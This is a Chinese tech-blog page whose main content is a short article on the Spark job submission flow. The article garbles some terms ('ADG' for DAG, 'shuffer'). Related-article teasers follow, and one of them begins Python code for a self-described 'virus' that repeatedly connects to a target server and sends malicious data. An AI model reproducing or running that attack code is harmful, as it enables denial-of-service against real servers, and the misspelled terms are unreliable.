当前位置： 首页 > news >正文

Spark任务提交流程

news 来源：原创 2025/6/19 2:04:07

在这里插入图片描述

当包含在application master中的spark-driver启动后，会与资源调度平台交互获取其他执行器资源，并通过反向注册通知对应的node节点启动执行容器。此外，还会根据程序的执行规划生成两个非常重要的东西，一个是根据spark任务执行计划生成n个ADG有向无环图，另一个是根据有向无环图生成对应的task set，也可以统称为stage，ADG和taskset由于宽窄依赖以及程序的复杂度从而导致本就是一对多的关系

在执行器启动并接收了taskset后，就意味着任务开始了跑数阶段，每一个taskset可以视为一个弹性数据集，简称rdd集合，不同的taskset之间以中间文件的方式传递数据，在这个过程中往往需要注意数据key的倾斜情况、task的多少导致的文件数是否合理、写入和写出的效率等，对任务的优化也生效于这些环节

不同的key分布、数据集的分区策略和中间文件生成策略会对shuffer的性能造成直接的影响，但并不是所有的teskset之间数据传递时都会发生shuffer，也有单纯的一对一数据交换。而是否发生shuffer取决于当前taskset数据血缘的宽窄与否，或者是你对rdd分区策略是否有干预，通俗的讲就是两个task set传递数据的key是否需要从新排列

应当注意的是，spark的shuffer分为两个阶段，上一个taskset的结束向文件中写数据的阶段叫做shuffer write，下一个taskset的读取叫做shuffer read，而没有发生shffer的taskset在这个流程中叫做inputdata和outputdata，可以在spark的ui上看到相关的消息

从跑数上总体来说，spark-driver内部是依靠了两个调度器，ADG调度器负责生成可用于执行的stage，而stage的调度与监控则由taskset调度器在负责，在所有的stage执行结束后，AM会通过向资源调度框架申请注销自己，来结束任务

相关文章：

Spark任务提交流程

当包含在application master中的spark-driver启动后，会与资源调度平台交互获取其他执行器资源，并通过反向注册通知对应的node节点启动执行容器。此外，还会根据程序的执行规划生成两个非常重要的东西，一个是根据spark任务执行计划生…...

编程日记 2025/5/30 17:57:10

使用python+pytest+requests完成自动化接口测试（包括html报告的生成和日志记录以及层级的封装（包括调用Json文件））

一、API的选择 我们进行接口测试需要API文档和系统，我们选择JSONPlaceholder免费API，因为它是一个非常适合进行接口测试、API 测试和学习的工具。它免费、易于使用、无需认证，能够快速帮助开发者模拟常见的接口操作（增、删、改、…...

编程日记 2025/6/2 19:17:08

Docker的入门

一、安装Docker 本教程参考官网文档，链接如下: CentOS | Docker Docs 这个教程是基于你的虚拟机已经弄好了（虚拟机用的CentOS），并且有SecureCRT或者MobaXterm等等任意一个工具 1.1 卸载旧版 如果系统中存在旧版本的Docker&a…...

编程日记 2025/6/4 1:50:01

机器学习：监督学习与非监督学习

监督学习是利用带有标签的数据进行训练，模型通过学习输入和输出之间的关系来进行预测。也就是说，数据集中既有输入特征，也有对应的输出标签，模型的目标是找到从输入到输出的映射关系。 而无监督学习则使用没有标签的数据进行训练，模型的任务是发现数据中的内在结构或模式…...

编程日记 2025/6/4 7:15:24

神经网络常见操作（卷积）输入输出

卷积 dimd的tensor可以进行torch.nn.Convnd(in_channels,out_channels),其中nd-1,d-2对于torch.nn.Convnd(in_channels,out_channels)，改变的是tensor的倒数n1维的大小 全连接 使用torch.nn.Linear(in_features,out_features,bias)实现YXWT b,其中X 的形状为 (ba…...

编程日记 2025/6/3 3:34:01

海云安开发者安全智能助手D10荣膺 “ AI标杆产品 ” 称号，首席科学家齐大伟博士入选2024年度 “ 十大杰出青年 ”

2024年12月27日，粤港澳大湾区AI领袖峰会在深圳成功举办，大会表彰了在人工智能技术创新、应用实践和产业发展等方面取得优异成绩的企业和个人，深圳海云安网络安全技术有限公司开发者安全智能助手D10荣膺“AI标杆产品”称号。同时，公…...

编程日记 2025/5/30 4:28:40

O2O同城系统架构与功能分析

2015工作至今，10年资深全栈工程师，CTO，擅长带团队、攻克各种技术难题、研发各类软件产品，我的代码态度：代码虐我千百遍，我待代码如初恋，我的工作态度：极致，责任&#xff…...

编程日记 2025/6/3 8:34:38

C#，入门教程(27)——应用程序（Application）的基础知识

上一篇： C#，入门教程(26)——数据的基本概念与使用方法https://blog.csdn.net/beijinghorn/article/details/124952589 一、什么是应用程序 Application？ 应用程序是编程的结果。一般把代码经过编译（等）过程&#…...

编程日记 2025/5/31 10:47:38

计算机网络（四）——网络层

目录 一、功能 二、IP数据报分片 三、DHCP动态主机配置协议 四、网络地址转换（NAT）技术 五、无分类编址CIDR 六、ARP地址解析协议 七、ICMP网际控制报文协议 八、IPv4和IPv6的区别 九、IPv4向IPv6的两种过渡技术——双栈协议和隧道技术 十、路由…...

编程日记 2025/6/4 10:48:12

VSCode的配置与使用（C/C++）

从0开始教你在vscode调试一个C文件 一.首先是配置你的编译环境，添加到环境变量（默认你是全新的电脑，没有安装vs2019之类的） 原因：因为相比于vs2019，vscode只是个代码编辑器，相当于一个彩色的、…...

编程日记 2025/6/1 14:56:42

《机器学习》——TF-IDF（关键词提取）

文章目录 TF-IDF简介TF-IDF应用场景TF-IDF模型模型参数主要参数 TF-IDF实例实例步骤导入数据和模块处理数据处理文章开头和分卷处理将各卷内容存储到数据帧jieba分词和去停用词处理 计算 TF-IDF 并找出核心关键词 TF-IDF简介 TF - IDF（Term Frequency - Inverse Do…...

编程日记 2025/6/2 10:14:49

金仓Kingbase客户端KStudio报OOM：Java heap space socketTimeout

找到Kingbase\ES\V8\KESRealPro\V008R006C006B0021\ClientTools\guitools\KStudio\KStudio.ini 修改JVM参数： 默认值： -Xms512m -Xmx1024m 改为： -Xms1024m -Xmx2048m -XX:MaxPermSize512m SQL查询报错：An I/O error occurred …...

编程日记 2025/6/3 16:57:03

XML在线格式化 - 加菲工具

XML在线格式化 打开网站 加菲工具 选择“XML 在线格式化” 输入XML，点击左上角的“格式化”按钮 得到格式化后的结果...

编程日记 2025/5/27 9:21:44

thinkphp8.0 likeadmin 框架添加API 文档自动生成工具 apidoc支持

Apidoc 是一个便捷的 API 文档自动生成工具，它能帮助开发者快速生成和管理 API 文档。以下是 Apidoc 的主要特点和功能： 主要特点 开箱即用 安装后，无需繁杂配置，直接按照文档编写注释，即可自动生成 API 文档。 轻松编…...

编程日记 2025/6/2 22:47:00

计算机网络 （44）电子邮件

一、概述 电子邮件（Electronic Mail，简称E-mail）是因特网上最早流行的应用之一，并且至今仍然是因特网上最重要、最实用的应用之一。它利用计算机技术和互联网，实现了信息的快速、便捷传递。与传统的邮政系统相比&#…...

编程日记 2025/6/2 2:59:43

【Idea启动项目报错NegativeArraySizeException】

项目场景： Idea启动项目报错（打包不报错），项目在服务器部署运行没有问题，尝试了重启idea、重启电脑、maven clean/install 都不行 maven-resources-production:sample: java.lang.NegativeArraySizeException: -5833…...

编程日记 2025/5/31 10:47:23

长安“战疫”网络安全公益赛的一些随想

起因 今年刚进入大学，开始带校队，为了培养校队新成员，也就一直计划着和当地的一些高校合作交流，但是由于种种原因一直被搁置下来。正巧学校信息中心和四叶草有一个培训项目的合作，学校的网安协会也算是沾了光成为了培…...

编程日记 2025/6/1 10:50:51

【网络编程】基础知识

目录 网络发展史 局域网和广域网 局域网（LAN） 广域网（Wan） 光猫 路由器 网线 设备通信的要素 IP地址 基本概念 地址划分 特殊地址（后续编程使用） IP地址转换 字节序 网络模型 网络的体系结…...

编程日记 2025/5/31 22:54:06

RK3568平台（音频篇）lineout无声调试

一.声音硬件框架 硬件HP_MUTE已强制拉低。 二.设备树配置 es8388_sound: es8388-sound {status = "okay";compatible = "rockchip,multicodecs-card";rockchip,card-name = "rockchip-es8388";hp-det-gpio = <&gpio1 RK_PD2 GPIO_ACT…...

编程日记 2025/6/3 12:53:25

计算机组成原理(计算机系统3)--实验三：取指和指令译码设计

一、 实验目标&#xff1a; 设计完成一个连续取指令并进行指令译码的电路&#xff0c;从而掌握设计简单数据通路的基本方法。 二、实验内容 本实验完成&#xff1a;1&#xff09;首先完成一个译码器&#xff1b;2&#xff09;接着实现一个寄存器文件&#xff1b;3&#xff0…...

编程日记 2025/5/29 5:06:12

紫光无人机AI飞控平台介绍

随着无人机技术的迅猛发展&#xff0c;无人机飞控平台的智能化需求不断提升。紫光无人机AI飞控平台作为一款创新型产品&#xff0c;为用户提供了从飞行控制到任务管理的一站式解决方案&#xff0c;尤其在AI实时识别和事件分析方面具有显著优势。本文将介绍平台的核心功能、技术…...

编程日记 2025/6/1 22:06:13

基于EMQX+MQTT+ESP32+Openharmony的开发实例

EMQX介绍 EMQ X 是基于 Erlang/OTP 平台开发的 MQTT 消息服务器&#xff0c;是开源社区中最流行的 MQTT 消息服务器。EMQX 是开源百万级分布式 MQTT 消息服务器&#xff08;MQTT Messaging Broker&#xff09;&#xff0c;用于支持各种接入标准 MQTT 协议的设备&#xff0c;实…...

编程日记 2025/6/4 8:17:42

npm发布组件（vue3+webpack）

1.初始化Vue项目 vue create my-app 2.本地运行 npm run serve 3.新增目录和文件 1. src/package/index.js 2. src/package/wlz-btn/index.vue 3. src/package/wlz-input/index.vue // src\package\index.js import WlzBtn from "./wlz-btn"; import WlzInput …...

编程日记 2025/5/30 17:59:20

kubuntu24.04配置vmware17.5.1

背景 个人主机的最后一次折腾吧。 丝滑上网前提&#xff1a;singbox实践https://blog.csdn.net/qq_43652666/article/details/145190110 vmware 博通官网下载vmware workstation pro 17.5.1版本&#xff0c;注意一个新注册的账号只能下载一个win版本的vmware和一个linux版本…...

编程日记 2025/5/29 0:19:34

开发规范

开发规范 企业项目开发有2种开发模式&#xff1a;前后台混合开发和前后台分离开发。 前后台混合开发 顾名思义就是前台后台代码混在一起开发&#xff0c;如下图所示&#xff1a; 这种开发模式有如下缺点&#xff1a; 沟通成本高&#xff1a;后台人员发现前端有问题&#xf…...

编程日记 2025/6/3 22:45:45

大模型UI：Gradio全解11——Chatbot：融合大模型的聊天机器人（4）

大模型UI&#xff1a;Gradio全解11——Chatbot&#xff1a;融合大模型的聊天机器人&#xff08;4&#xff09; 前言本篇摘要11. Chatbot&#xff1a;融合大模型的多模态聊天机器人11.4 使用Blocks创建自定义聊天机器人11.4.1 简单聊天机器人演示11.4.2 流式传输Chatbot11.4.3 添…...

编程日记 2025/5/31 10:32:45

[操作系统] 深入理解操作系统的概念及定位

概念 任何计算机系统都包含⼀个基本的程序集合&#xff0c;称为操作系统(OS)。 其核心功能如图片所示&#xff0c;包括&#xff1a; 内核 (Kernel)&#xff1a; 内核是操作系统的核心部分&#xff0c;被认为是狭义上的操作系统&#xff0c;直接与硬件打交道。负责进程管理、内…...

编程日记 2025/5/30 4:13:12

redhat安装docker 24.0.7

1、下载docker镜像包 wget https://download.docker.com/linux/static/stable/x86_64/docker-24.0.7.tgz 2、解压 tar -xvf docker-24.0.7.tgz 3、解压的docker文件夹全部移动至/usr/bin目录 cd docker cp -p docker/* /usr/bin 4、注册服务 vi /usr/lib/systemd/syste…...

编程日记 2025/5/29 10:38:38

数据库基础实验1（创建表，设置外键，检查，不为空，主键等约束）安装mysql详细步骤

安装MySQL详细步骤 1. 下载 MySQL 安装程序 访问 MySQL 官方网站&#xff1a;MySQL Downloads。在下载页面&#xff0c;选择 "MySQL Community (GPL) Downloads"。在 "MySQL Community Server" 部分&#xff0c;根据你的操作系统&#xff08;Windows&…...

编程日记 2025/5/29 16:54:52

如何攻击一个服务器（仅用于教育及娱乐实验目的）

import socket import osdef create_virus():# 创建一个简单的病毒脚本&#xff0c;它会不断尝试连接目标服务器并发送恶意数据virus_code """ import socket import time import threadingdef attack_server(ip, port):while True:try:s socket.socket(socke…...

编程日记 2025/6/3 5:06:17

HarmonyOS NEXT应用开发边学边玩系列：从零实现一影视APP (二、首页轮播图懒加载的实现)

在开发一款影视APP时&#xff0c;首页的轮播图是一个非常重要的部分。它不仅能够吸引用户的注意力&#xff0c;还能有效地推广重点内容。为了提升应用的性能和用户体验&#xff0c;可以实现轮播图的懒加载功能。本文将详细介绍如何在HarmonyOS NEXT应用开发中实现这一功能。 1.…...

编程日记 2025/6/4 16:29:50

Jmeter 简单使用、生成测试报告（一）

一、下载Jmter 去官网下载&#xff0c;我下载的是apache-jmeter-5.6.3.zip&#xff0c;解压后就能用。 二、安装java环境 JMeter是基于Java开发的&#xff0c;运行JMeter需要Java环境。 1.下载JDK、安装Jdk 2.配置java环境变量 3.验证安装是否成功&#xff08;java -versio…...

编程日记 2025/6/3 18:31:18

采用海豚调度器+Doris开发数仓保姆级教程（满满是踩坑干货细节，持续更新）

目录 一、采用海豚调度器+Doris开发平替CDH Hdfs + Yarn + Hive + Oozie的理由。 1. 架构复杂性 2. 数据处理性能 3. 数据同步与更新 4. 资源利用率与成本 6. 生态系统与兼容性 7. 符合信创或国产化要求 二、ODS层接入数据 接入kafka实时数据 踩坑的问题细节 三、海…...

编程日记 2025/5/28 17:41:53

大疆最新款无人机发布，可照亮百米之外目标

近日&#xff0c;DJI 大疆发布全新小型智能多光旗舰 DJI Matrice 4 系列&#xff0c;包含 Matrice 4T 和 Matrice 4E 两款机型。DJI Matrice 4E 价格为27888 元起&#xff0c;DJI Matrice 4T价格为38888元起。 图片来源&#xff1a;大疆官网 DJI Matrice 4E DJI Matrice 4T D…...

编程日记 2025/6/4 10:48:29

无公网IP 实现外网访问本地 Docker 部署 Navidrome

Navidrome 是一款可以在 macOS、Linux、Windows以及 Docker 等平台上运行的跨平台开源音乐服务器应用&#xff0c;它支持传输常见的 MP3、FLAC、WAV等音频格式。允许用户通过 Web 界面或 API 进行音乐库的管理和访问。本文就介绍如何快速在 Linux 系统使用 Docker 进行本地部署…...

编程日记 2025/6/3 3:20:16

踏上 C++ 编程之旅：开篇之作

踏上 C 编程之旅&#xff1a;开篇之作 在计算机编程的广袤天地中&#xff0c;C 宛如一座巍峨的高峰&#xff0c;吸引着无数开发者攀登探索。今天&#xff0c;就让我们一同开启这段充满挑战与惊喜的 C 编程之旅&#xff0c;在代码的世界里开辟属于自己的道路。 一、为什么选择…...

编程日记 2025/6/2 16:18:33

JS逆向系列之某考古站数据解密

声明 本文章中所有内容仅供学习交流，严禁用于商业用途和非法用途，否则由此产生的一切后果均与作者无关，若有侵权，请私信我立即删除！ 文章目录 声明本次目标网址逆向分析ing代码python实现最近太忙了，博客摆烂了好久，狗头保命.jpg。 本次目标网址 aHR0cHM6Ly93d3cua2F…...

编程日记 2025/6/3 17:49:03

idea 如何安装 github copilot

idea 如何安装 github copilot 要在 IntelliJ IDEA 中安装 GitHub Copilot&#xff0c;可以按照以下步骤操作&#xff1a; 打开 IntelliJ IDEA: 启动 IntelliJ IDEA。 打开插件管理器: 点击菜单栏中的 File。 选择 Settings&#xff08;Windows/Linux&#xff09;或 Prefere…...

编程日记 2025/5/29 16:56:24

html5各行各业官网模板源码下载 （4）

文章目录 1.来源2.源码模板2.1 html实现酷炫美观的可视化大屏(十种风格示例&#xff0c;附源码)2.2 HTML5实现古典音乐网站源码模板22.3 HTML5实现古典音乐网站源码模板32.4 HTML5实现小鸟过管道小游戏源码2.5 HTML5实现俄罗斯方块小游戏2.5 HTML5实现剪刀石头布小游戏(附源码)…...

编程日记 2025/6/4 14:43:18

2023-2024 学年 广东省职业院校技能大赛(高职组)“信息安全管理与评估”赛题一

2023-2024 学年 广东省职业院校技能大赛(高职组“信息安全管理与评估”赛题一&#xff09; 模块一:网络平台搭建与设备安全防护第一阶段任务书任务 1&#xff1a;网络平台搭建任务 2&#xff1a;网络安全设备配置与防护DCRS:DCFW:DCWS:DCBC:WAF: 模块二&#xff1a;网络安全事件…...

编程日记 2025/5/24 21:34:06

理解CPU负载与使用率

目录 CPU使用率 CPU负载 CPU使用率 定义&#xff1a;就像看一个工人干活的时间占他上班时间的比例。比如工人上班8小时&#xff0c;实际干活6小时&#xff0c;干活时间占比就是68100%75%。对于CPU&#xff0c;单核的看它被占用的时间占总时间的比例&#xff0c;多核的就把每个…...

编程日记 2025/5/29 20:55:44

鸿蒙-点击Notification通知并打开App的具体页面

意图通知 获取router事件中传递参数并跳转 目前点击通知消息打开应用的指定页面&#xff0c;通过为通知添加行为意图的方式。也就是在wants的parameters中设置自定义参数&#xff0c;然后在UIAbility的onNewWant或者onCreate方法中 解析配置的自定义参数信息判断跳转不同页面&a…...

编程日记 2025/6/1 21:10:55

Jmeter分布式测试的注意事项和常见问题

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 Jmeter是一款开源的性能测试工具&#xff0c;使用Jmeter进行分布式测试时&#xff0c;也需要注意一些细节和问题&#xff0c;否则可能会影响测试结果的准确性和可靠…...

编程日记 2025/6/3 14:06:09

w~Transformer~合集11

我自己的原文哦~ https://blog.51cto.com/whaosoft/12472192 #LightSeq 最高加速9倍&#xff01;字节跳动开源8比特混合精度Transformer引擎,近年来&#xff0c;Transformer 已经成为了 NLP 和 CV 等领域的主流模型&#xff0c;但庞大的模型参数限制了它的高效训练和推理。…...

编程日记 2025/6/3 8:33:19

YOLOv10-1.1部分代码阅读笔记-build.py

build.py ultralytics\data\build.py 目录 build.py 1.所需的库和模块 2.class InfiniteDataLoader(dataloader.DataLoader): 3.class _RepeatSampler: 4.def seed_worker(worker_id): 5.def build_yolo_dataset(cfg, img_path, batch, data, mode"train"…...

编程日记 2025/6/1 10:53:41

c++ 中的容器 vector、deque 和 list 的区别

表格汇总&#xff1a; 容器存储结构随机访问性能中间插入/删除性能两端插入/删除性能内存管理特点迭代器类型适用场景vector连续存储的动态数组 O ( 1 ) O(1) O(1) O ( n ) O(n) O(n)&#xff08;需要移动元素&#xff09;末尾&#xff1a; O ( 1 ) O(1) O(1)&#xff0c;头部…...

编程日记 2025/6/3 4:32:16

‌如何有效学习PyTorch：从基础到实践的全面指南‌

随着人工智能和深度学习技术的飞速发展&#xff0c;PyTorch作为当前最流行的深度学习框架之一&#xff0c;凭借其动态计算图、灵活的编程模型以及强大的社区支持&#xff0c;在学术界和工业界均得到了广泛应用。本文旨在为初学者和有一定基础的读者提供一套系统、全面的PyTorch…...

编程日记 2025/6/1 21:01:06

大模型WebUI：Gradio全解11——Chatbots：融合大模型的多模态聊天机器人（3）

大模型WebUI&#xff1a;Gradio全解11——Chatbot&#xff1a;融合大模型的多模态聊天机器人&#xff08;3&#xff09; 前言本篇摘要11. Chatbot&#xff1a;融合大模型的多模态聊天机器人11.3 组件Chatbot及ChatMessage11.3.1 Chatbot&#xff1a;聊天机器人组件1. API参数2.…...

编程日记 2025/6/3 20:22:41

MTK6768 Android13 亮度条均匀调节实现

文章目录 需求&#xff1a;问题现象&#xff1a;需求实现疑难问题点&#xff1a;相关资源修改的文件调试技巧具体需求实现去除亮度弹框设置去掉跳转逻辑SystemUI亮度条长按跳转屏蔽 实现亮度均匀调节PhoneWindowManager.javaBrightnessUtils convertLinearToGammaFloatBrightne…...

编程日记 2025/5/31 4:11:59

力扣560和为K的数组

给你一个整数数组 nums 和一个整数 k &#xff0c;请你统计并返回 该数组中和为 k 的子数组的个数 。 子数组是数组中元素的连续非空序列。 示例 1&#xff1a; 输入&#xff1a;nums [1,1,1], k 2 输出&#xff1a;2示例 2&#xff1a; 输入&#xff1a;nums [1,2,3], …...

编程日记 2025/6/3 6:16:26